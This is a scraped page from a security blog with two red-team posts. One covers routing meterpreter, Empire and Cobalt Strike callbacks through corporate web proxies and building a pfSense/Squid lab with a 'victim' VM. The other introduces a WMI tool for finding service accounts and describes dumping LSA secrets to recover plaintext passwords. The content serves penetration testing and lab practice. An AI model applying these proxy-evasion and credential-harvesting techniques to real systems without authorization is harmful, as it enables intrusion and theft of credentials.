o:title=""/> </v:shape><![endif]--><!--[if !vml]--><!--[endif]--><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
By setting these options, we can get meterpreter to connect out through an internal web proxy. But how do we get this information? We would have to have already compromised a system, phished a user, exposed in code or config files on public sources, or through some other information disclosure. Times where I have used this is for simulating a knowledgeable insider. Metasploit is one of the most popular public “hacking” tools, so to simulate someone who wants to “hack” their own company, I have assumed insider knowledge of their own credentials and the proxy configuration and set those in the payload then used meterpreter to get an external shell. Another situation that I have used has been finding proxy settings in code posted to public GitHub repositories. Developers love to create configuration files that set the proxy settings so that their applications can get out through the proxies like they can.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
So, although meterpreter supports proxies and authentication, it does not handle those by default and requires some prior knowledge of the environment to use. I have seen similar results with many C2s that work on Mac OS or Linux such as EmPyre.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Some other tools or payloads currently do not support proxying HTTP payloads. One example would be the meterpreter payloads for Mac OS. The HttpProxy* options metioned for the Windows meterpreter payloads are not accepted by the Mac OS payloads.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<h2>
<span style="color: #0b5394;"> PowerShell Empire and Cobalt Strike:</span><o:p></o:p></h2>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
PowerShell Empire and Cobalt Strike work a little bit differently. They use libraries such as .NET’s System.Net.CredentialCache to ask the system to apply the processes current proxy settings and net credentials to the HTTP request. This allows the HTTP connection to be properly proxied the same way the current process would normally proxy web traffic. I continue to say process rather than user, because that can be a pretty important distinction in certain situations. If your process is running as SYSTEM (and you haven’t impersonated a user), then your net credentials will be the credentials of the host computer and not an AD user. Unless the computer accounts are allowed to authenticate through the proxy, this traffic will be denied, and your payload won’t get out. There have been many times where I have used privilege escalations or PSExec to spawn new beacons or agents and struggled to figure out why I wasn’t getting the callbacks. Most of the time, this has been due to being denied at the proxy.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
In these situations, there are a few options. Assuming we have already compromised the host, we can do what we did with meterpreter and just hard-code these settings and override the defaults. This way, we have a SYSTEM level shell, but are using a user’s credentials and proxy settings to send traffic out. The other option is to use something like Cobalt Strike’s SMB beacon to create an internal C2 channel and link to those beacons from your HTTP beacon.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<a href="https://www.blogger.com/null" name="pastthefluff"><br />
</a><br />
<h1>
<a href="https://www.blogger.com/null" name="pastthefluff"><span style="color: #0b5394;">How Do We Test This:</span><o:p></o:p></a></h1>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
How would we test this? Do we need to build a full domain-configured network? Do we need a complex proxy setup? I thought so at first and heavily put this project off but eventually dove in and tried it. What I learned was that just setting up a network with a proxy that didn’t check authentication was extremely easy and served as a good test environment for most of the situations I came across. When I decided that I needed to test authentication as well, things became a bit trickier. I will write a second post on that soon to cover the configuration for that part.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<h2>
<span style="color: #0b5394;"> Building the Network:</span><o:p></o:p></h2>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<b><i>Note: I was using VMware Fusion for my setup, but the steps should be very similar for something else such as VirtualBox.<o:p></o:p></i></b></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
For this setup to work, we need to ensure that our test host cannot call directly out to the internet. This could be done with host-based firewalls or IPTables but I decided that I didn’t want to make a bunch of configuration changes on each host that I wanted to test on. I wanted to build a network that I could attach a virtual machine to and it would just work (kind of… I’ll talk about the specifics in the authentication part of the proxy setup). <o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Here is a diagram of the network we are building:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuxFffcbLmMX_L25vWpjWyg41xvi-PmFInslL4MvcVXxZS-74uryYXeOL_rLb0WinMH9VdmVdCequKvtdA5XL8U2k78_00hD3B7M6h5rUtI3zCBnqYLEon0ywyCEZHKooqEpkLQ9QTdIYI/s1600/NetworkDiagram_transparent.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="840" data-original-width="626" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuxFffcbLmMX_L25vWpjWyg41xvi-PmFInslL4MvcVXxZS-74uryYXeOL_rLb0WinMH9VdmVdCequKvtdA5XL8U2k78_00hD3B7M6h5rUtI3zCBnqYLEon0ywyCEZHKooqEpkLQ9QTdIYI/s320/NetworkDiagram_transparent.png" width="238" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
To accomplish the port restrictions and web proxy, I built two virtual machines:<o:p></o:p></div>
<div class="MsoListParagraphCxSpFirst" style="text-indent: -0.25in;">
<!--[if !supportLists]-->-<span style="font: 7pt "times new roman";"> </span><!--[endif]-->pfSense Firewall<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "courier new";">o<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->Hardware<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "wingdings";">§<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->1 core<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "wingdings";">§<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->256 MB RAM<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "wingdings";">§<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->8 GB Disk (probably excessive)<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "wingdings";">§<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->2 network adapters<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 2in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "symbol";">·<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->WAN – ‘Share with my Mac’<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 2in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "symbol";">·<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->LAN – ‘SimpleProxyNet’ (see below)<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "courier new";">o<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->Software<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "wingdings";">§<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->Nothing additional, no addons<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="text-indent: -0.25in;">
<!--[if !supportLists]-->-<span style="font: 7pt "times new roman";"> </span><!--[endif]-->Ubuntu Server<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "courier new";">o<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->Hardware<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "wingdings";">§<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->2 cores<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "wingdings";">§<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->1 GB RAM<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "wingdings";">§<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->16 GB Disk (again, probably excessive)<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "wingdings";">§<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->1 network adapter – ‘SimpleProxyNet’ (see below)<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="margin-left: 1in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "courier new";">o<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->Software<o:p></o:p></div>
<div class="MsoListParagraphCxSpLast" style="margin-left: 1.5in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: "wingdings";">§<span style="font: 7pt "times new roman";"> </span></span><!--[endif]-->Added Squid Proxy software<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
For the networking setup, I created a network in VMware and unchecked the box that allows the network to connect to external networks. I wanted this network to be internal only. This will be the network that I attach my test VM and the proxy to.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0GFZ3fBe8FC1XA_ak0P9CPUBFgvrv4r7JEaRQDm_ALpAA4X4-H62gRyP5tq4eEzTBlV26JE7s8-gjXXNbuPU88OolF_-XuUryVG_ISLF39XcpCz8GLKf5pBhnhk4nl5JrUbcLB6USrkSb/s1600/SimpleProxyNetSettings.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1340" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0GFZ3fBe8FC1XA_ak0P9CPUBFgvrv4r7JEaRQDm_ALpAA4X4-H62gRyP5tq4eEzTBlV26JE7s8-gjXXNbuPU88OolF_-XuUryVG_ISLF39XcpCz8GLKf5pBhnhk4nl5JrUbcLB6USrkSb/s320/SimpleProxyNetSettings.png" width="268" /></a></div>
<div class="MsoNormal">
<!--[if gte vml 1]><v:shape
id="Picture_x0020_1" o:spid="_x0000_i1027" type="#_x0000_t75" style='width:468pt;
height:559pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="file:////Users/nameless/Library/Group%20Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_image002.png"
o:title=""/> </v:shape><![endif]--><!--[if !vml]--><!--[endif]--><o:p></o:p></div>
<div class="MsoNormal">
Before starting either VM, I attached the network interfaces to the appropriate networks.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<h2>
<span style="color: #0b5394;"> Setting Up pfSense:</span><o:p></o:p></h2>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
I am not going to go into too many details on this one but rather include a screenshot of a couple of settings and a couple of tips that I learned along the way. There are many guides for setting up pfSense and I didn’t stray off the beaten path for this. For more info on getting started with pfSense, check out this link: <u><span style="color: blue; font-family: "times new roman" , serif;"><a href="https://www.vgemba.net/vmware/pfSense-VMware-Workstation/"><span style="color: blue;">https://www.vgemba.net/vmware/pfSense-VMware-Workstation/</span></a></span></u><span style="font-family: "times new roman" , serif;">.<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Some tips:<o:p></o:p></div>
<div class="MsoListParagraphCxSpFirst" style="text-indent: -0.25in;">
<!--[if !supportLists]-->-<span style="font: 7pt "times new roman";"> </span><!--[endif]-->On the LAN interface, I did not set VMware to handle DHCP in anticipation of using pfSense for that purpose.<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="text-indent: -0.25in;">
<!--[if !supportLists]-->-<span style="font: 7pt "times new roman";"> </span><!--[endif]-->Keeping track of which interface is which can be a little tricky, but usually “Network Adapter” will be em0 or the WAN and “Network Adapter 2” will be em1 or the LAN.<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="text-indent: -0.25in;">
<!--[if !supportLists]-->-<span style="font: 7pt "times new roman";"> </span><!--[endif]-->Once you add a LAN interface, the management web portal will default to the internal network. I used my victim VM to browse to this management interface once I attached it to the network. You can also use your host OS if you have it also able to communicate on this network.<o:p></o:p></div>
<div class="MsoListParagraphCxSpLast" style="text-indent: -0.25in;">
<!--[if !supportLists]-->-<span style="font: 7pt "times new roman";"> </span><!--[endif]-->Since pfSense is handling DHCP, I tend to start this VM first and make sure it is fully booted before starting up the proxy or attaching any victim VMs.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<h2>
<span style="color: #0b5394;"> Setting Up Squid Proxy:</span><o:p></o:p></h2>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Before adding any firewall rules, we want to setup our Squid proxy. We do this first because we want to create firewall rules that allow the proxy to call out to the internet, but we don’t want any other hosts on the SimpleProxyNet to be able to do so.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Setting up the Squid proxy without forcing user authentication was actually much easier than I expected, so I am not going to go into too many details on this setup either. I just setup a vanilla Ubuntu Server 18.04 and used apt to install Squid and set a static IP address on the OS (in my case I used 192.168.1.5). I followed a guide all the way up to where they add authentication. A guide such as this could be useful: <u><span style="color: blue; font-family: "times new roman" , serif;"><a href="https://linuxize.com/post/how-to-install-and-configure-squid-proxy-on-ubuntu-18-04/">https://linuxize.com/post/how-to-install-and-configure-squid-proxy-on-ubuntu-18-04/</a></span></u><span style="font-family: "times new roman" , serif;">.<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Finally, I set up the ACLs to allow the SimpleProxyNet subnet to connect to the proxy and moved on to setting up the firewall rules on the pfSense.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<h2>
<span style="color: #0b5394;"> Firewall Rules:</span><o:p></o:p></h2>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
With the proxy and firewall built, we need to connect a system to this network and configure the firewall rules. I created a Windows VM that would serve as my victim and attached it to the SimpleProxyNet network.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
To access the pfSense web UI, I used my victim Windows VM by attaching the network interface for my Windows VM to the SimpleProxyNet network and opening a web browser and going to http(s)[:]//[IP of pfSense]/ and logging in with the credentials that I set when first configuring the pfSense (default is admin:pfsense). Once logged in, I went to the firewall settings and configured the LAN settings to allow the IP address of the Squid proxy to communicate outbound on 53/DNS, 80/HTTP, and 443/HTTPS:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzQ0emAqIPySB6EAA-I92ixTL6pmOyjDzSSsgVlpxPnnNiJ_mSWxqBx4A8OFBUeh5vn8LkcC0Z2CSvqCg9DfJZCt1FIG9X6-fgWphdIDxRVWYlVPL2f2p3Cfp2F3XzfmvIUv9drlaIVgc_/s1600/Firewall+Rules.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="777" data-original-width="1600" height="155" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzQ0emAqIPySB6EAA-I92ixTL6pmOyjDzSSsgVlpxPnnNiJ_mSWxqBx4A8OFBUeh5vn8LkcC0Z2CSvqCg9DfJZCt1FIG9X6-fgWphdIDxRVWYlVPL2f2p3Cfp2F3XzfmvIUv9drlaIVgc_/s320/Firewall+Rules.png" width="320" /></a></div>
<div class="MsoNormal">
<!--[if gte vml 1]><v:shape
id="Picture_x0020_2" o:spid="_x0000_i1026" type="#_x0000_t75" style='width:468pt;
height:227pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="file:////Users/nameless/Library/Group%20Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_image003.png"
o:title=""/> </v:shape><![endif]--><!--[if !vml]--><!--[endif]--><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
These settings prevent the victim VM from being able to connect directly out to the internet as only the Squid proxy traffic is allowed. <o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Note: The ports from the proxy have been limited to 80, 443, and 53. This is a common situation but not necessarily the way all proxies are setup. In this case, your C2 channels would be limited to calling back on one of these three ports. Some proxies at client environments are allowed out on any port to accommodate web services that run on other ports such as 8080. If you wanted to test in this fashion, you could alter your rules to allow for this and see how your tools work in this situation (proxying SSH can be a fun one if you can figure it out).<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Once you have the firewall rules set, your proxy setup, and your victim VM connected, we just need to go to the victim VM and configure it to know about the proxy. Once this is one, we should have an unauthenticated proxied network setup and ready to start testing payloads.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<br />
<h2>
<span style="color: #0b5394;"> Setting the Proxy Settings on the Victim VM:</span></h2>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
For this section, I am only going to go into the setup for modern Windows hosts and not worry about *nix hosts. This is something that is quickly and easily searchable on the internet.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Open the Start Menu and find the <i>Internet Options</i> settings menu. Once opened, go to the <i>Connections</i> tab and click on the <i>LAN settings</i> button. Uncheck the <i>Automatically detect settings </i>checkbox (this is for WPAD, something beyond the scope of this post) and check the <i>Use a proxy server for your LAN</i> checkbox. Enter the IP address of your Squid proxy server (in my case 192.168.1.5) and port (default for Squid is 3128). <o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwqiPXoCimFbO-t9_CO-1fIlGp1pu5b3cmRimSEyJ4pOadEUhKZ1wx-OVTUh6-JZdtKuFY1POjZ9MXuvTXuOs6apq4eCjtJjRMMNA9GQxHhMy_cD4dxz4HUJ06PsyTwZZWKY0ow0cfa2AN/s1600/ProxySettingsVictim.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="778" data-original-width="1171" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwqiPXoCimFbO-t9_CO-1fIlGp1pu5b3cmRimSEyJ4pOadEUhKZ1wx-OVTUh6-JZdtKuFY1POjZ9MXuvTXuOs6apq4eCjtJjRMMNA9GQxHhMy_cD4dxz4HUJ06PsyTwZZWKY0ow0cfa2AN/s320/ProxySettingsVictim.png" width="320" /></a></div>
<div class="MsoNormal">
<!--[if gte vml 1]><v:shape
id="Picture_x0020_3" o:spid="_x0000_i1025" type="#_x0000_t75" style='width:468pt;
height:311pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="file:////Users/nameless/Library/Group%20Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_image004.png"
o:title=""/> </v:shape><![endif]--><!--[if !vml]--><!--[endif]--><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Click the <i>OK </i>button on each menu to save the settings. Pop open a web browser and try to browse the internet to confirm that the proxy is working. You should be all setup and ready to test your payloads for proxy-awareness.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<!--EndFragment--><br />BinaryFaultlinehttp://www.blogger.com/profile/15007190596204655011noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-76165736120645694062019-08-20T09:19:00.006-05:002020-06-15T20:06:56.149-05:00Finding Hidden Treasure on Owned Boxes: Post-Exploitation Enumeration with wmiServSessEnum<div class="MsoNormal">TLDR: We can use WMI queries to enumerate accounts
configured to run any service on a box (even non-started / disabled), as well
as perform live session enumeration. Info on
running the tool is in the bottom section.</div><div class="MsoNormal"><o:p></o:p></div>
<div class="MsoNormal">
<br />
<span style="font-family: arial, sans-serif;"><span style="font-size: 13.3333px;">Link to Github: </span></span><a href="https://github.com/G0ldenGunSec/wmiServSessEnum">https://github.com/G0ldenGunSec/wmiServSessEnum</a><br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXEDY_rV5TlaS76duLWpXZTYoON2JxUjp4ADYkXuVfZHDhjdT8yCSgaEdXo2PegB7qMIbih0-rpGF6-DwWX3XmQDoSK7w94W9E7fKGkYka9GIPhCtyFOBY7iebFcsgX9fpRBHubrrxL6g/s1600/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="149" data-original-width="719" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXEDY_rV5TlaS76duLWpXZTYoON2JxUjp4ADYkXuVfZHDhjdT8yCSgaEdXo2PegB7qMIbih0-rpGF6-DwWX3XmQDoSK7w94W9E7fKGkYka9GIPhCtyFOBY7iebFcsgX9fpRBHubrrxL6g/d/1.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<h2>
<b>Background</b></h2>
On a recent engagement I had gotten local admin privileges on
~20 boxes, and after querying active sessions on them got me nothing
interesting I was ready to look for other potential escalation paths. I ran secretsdump against several of the
systems to grab local account hashes, and found that in the process of running
it, I had also obtained plaintext credentials for a domain account that was not
mentioned in any of the session enumeration information I had pulled. This got me thinking about how this was
possible, as well as how I could more reliably hunt for similar configurations on
other systems I could remotely execute code on.<br />
<br />
First, to explain what was going on – the NetWkstaUserEnum WINAPI
function used by a majority of session enumeration tools is great at what it
does, but only pulls data for active sessions on the remote system
(interactive, service, and batch logins).
However, if a service is configured on the system but is currently not
running, it will not be listed as a current session when enumerating the
system. This makes sense, as a non-running service has no processes associated with it. After further investigation of
the systems in question, I validated this is indeed what happened, as each of
the systems was configured with a stopped service that would run using non-default
credentials.<br />
<br />
<div class="MsoNormal">
I’ve included an example below showing this in practice on a lab system using
the GetNetLoggedOnUsers() functionality of @Cobbr_io’s SharpSploit, which uses
the NetWkstaUserEnum WINAPI function to query sessions on a remote system, and
a test service I configured (TestService) to run as the local ‘admin’ user on
the box. It shows that when the service is not running, the admin user is not
enumerated (as expected):<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1R_Cd_BhudG1WdEryO8ZZXCtck0VyZN9sQAah1ZxeX5ldftSdT94NSiG1rDR9zFv0JlPaB9Pm8UIg1tCGR6CPRS096RetNnettBMcgkTLHBG6ZR5lU9YMIieD9cj2co6yYkDtlUZnMhA/s1600/img-2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="135" data-original-width="721" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1R_Cd_BhudG1WdEryO8ZZXCtck0VyZN9sQAah1ZxeX5ldftSdT94NSiG1rDR9zFv0JlPaB9Pm8UIg1tCGR6CPRS096RetNnettBMcgkTLHBG6ZR5lU9YMIieD9cj2co6yYkDtlUZnMhA/d/img-2.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGDu5Sm5i8VKQdjlwUi1QZ4QDv28LsSGHLLWz0v5g6o4AOCUsTn3XH1K9QH67mEHyDTz0aswTy7kH91lMBhZrISGLJh0s4ucjwBD_pzLSF95jYpOFgoF8SH2kpyIeKCGnI-zpcf7JjEmk/s1600/img-3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="200" data-original-width="715" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGDu5Sm5i8VKQdjlwUi1QZ4QDv28LsSGHLLWz0v5g6o4AOCUsTn3XH1K9QH67mEHyDTz0aswTy7kH91lMBhZrISGLJh0s4ucjwBD_pzLSF95jYpOFgoF8SH2kpyIeKCGnI-zpcf7JjEmk/d/img-3.png" /></a></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<span style="font-family: arial, sans-serif; font-size: 10pt;"><br /></span></div>
<div class="MsoNormal">
<span style="font-family: arial, sans-serif; font-size: 10pt;">For a bit more context on why this matters to us
at all, we have to take a look at how credentials for service accounts are
cached by Windows. When a service is configured
with a set of credentials to run as, the OS needs to store them so they don’t
have to be re-entered every reboot / every time the service is ran. Windows stores these service account
credentials within the HKEY_LOCAL_MACHINE\Security registry hive, in an
encrypted storage space known as LSA Secrets.
However, the passwords themselves, although encrypted, are stored as
plaintext values (opposed to NTLM hashes).
Items stored in this space are only readable by NT_Authority/SYSTEM by
default, but users with administrative rights on the system can create a backup
of the registry hive that can subsequently be accessed and decrypted to extract
the data contained within. As the screengrab
below shows, the credentials are sitting in LSA secrets, ready to be used
whenever next needed.</span></div>
<div class="MsoNormal">
<span style="font-family: arial, sans-serif; font-size: 10pt;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBPeC7urpdCf01uN6mq-MP9mC9gXW79nuQ-Sr5W0d6l4GedP1Sq6fVvtsspIBA-kntIhIDjEy_ehZRkwnSJc10yymhhTGCwrRSglymhjlPqz4y8UGDvpIPUoJkhMImPSo_dXET1lB49U8/s1600/img-4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="192" data-original-width="423" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBPeC7urpdCf01uN6mq-MP9mC9gXW79nuQ-Sr5W0d6l4GedP1Sq6fVvtsspIBA-kntIhIDjEy_ehZRkwnSJc10yymhhTGCwrRSglymhjlPqz4y8UGDvpIPUoJkhMImPSo_dXET1lB49U8/d/img-4.png" /></a></div>
<div class="MsoNormal">
<span style="font-family: arial, sans-serif; font-size: 10pt;"><br /></span></div>
<div class="MsoNormal">
And if we dump the contents of LSA secrets, we see we can
actually retrieve the plaintext password for the account configured to run the
service:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9mV0abCkmcKUKuz1atO282WxwSf9fA3_2v75OpLFOL4g4az2zaC5YX7PDd-x_wIJkw6MdzAJrU_z6VQbs_GGGROwSxs4L4AuFhBz022beAa0SkIOSwy-yhlu0CUFdrteYl2SuctXfu1I/s1600/img-5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="381" data-original-width="392" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9mV0abCkmcKUKuz1atO282WxwSf9fA3_2v75OpLFOL4g4az2zaC5YX7PDd-x_wIJkw6MdzAJrU_z6VQbs_GGGROwSxs4L4AuFhBz022beAa0SkIOSwy-yhlu0CUFdrteYl2SuctXfu1I/d/img-5.png" /></a></div>
<div class="MsoNormal">So at this point I was a bit stumped, how could I quickly and reliably enumerate accounts configured to run services on a relatively large number of remote systems? It’s not really a best practice to start randomly secretsdumping boxes, and even if you threw opsec concerns to the wind it would still take a relatively long amount of time if you wanted to dump anything more than just a few systems. With that in mind, I wanted something that would ideally be agentless, and could be ran in a multi-threaded process to increase collection speed against multiple systems. I settled on writing something that would check these boxes in c#, primarily as that’s what I’ve been doing the majority of my development in lately.</div>
<div class="MsoNormal"><br /></div>
<div class="MsoNormal"><br /></div>
<h2>
Building the Tool</h2>
<div class="MsoNormal"><b>Note: </b>This section doesn’t
have anything critical on the functionality or usage of the tool, but instead
outlines the development process and roadblocks I ran into as I built it. If this doesn’t interest you, I recommend
scrolling through to the next section.<b><o:p></o:p></b></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
When I first sat down to write this tool, I thought WMI
would be a good candidate to use for collection as I had some knowledge of the
Win32_Service class and figured it would be pretty easy to pull the needed
information from the remote system. As I
prepared to start coding I checked out similar projects that implemented WMI
connectivity in .net applications. From
an offensive tooling standpoint, I didn’t find too much outside of tools
designed to facilitate code execution, and overwhelmingly they appeared to use
the older System.Management namespace to build their WMI objects. In my reading
of Microsoft docs, I found that the newer Microsoft.Management.Infrastructure
namespace was recommended to use to access WMI.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP80_HNjLTfYCb8CfpLIO7Fd_puUXbpVrJcaK7_ylAEdo8MsL6Nx8nUd6T4QvLrAymR6GpYiCPXmTLz6JJurrhS9a_1_myyW-FPLBcZ8QmAQdOcQANoGyl9EHkhZukFyAK2HrpXxzQNpk/s1600/img-6.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="188" data-original-width="988" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP80_HNjLTfYCb8CfpLIO7Fd_puUXbpVrJcaK7_ylAEdo8MsL6Nx8nUd6T4QvLrAymR6GpYiCPXmTLz6JJurrhS9a_1_myyW-FPLBcZ8QmAQdOcQANoGyl9EHkhZukFyAK2HrpXxzQNpk/d/img-6.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">As I began to build out the functionality of the tool and started exploring other WMI classes I figured it would make sense to extend the tool’s functionality to also include the optional enumeration of sessions on the system via WMI, similar to the sessionEnum functionality seen earlier through SharpSploit. To explore various WMI classes I used WMI Explorer (https://github.com/vinaypamnani/wmie2/releases) which provides a super helpful interface that allows you to browse WMI classes and get information on specific properties & methods.</div>
<div class="MsoNormal">
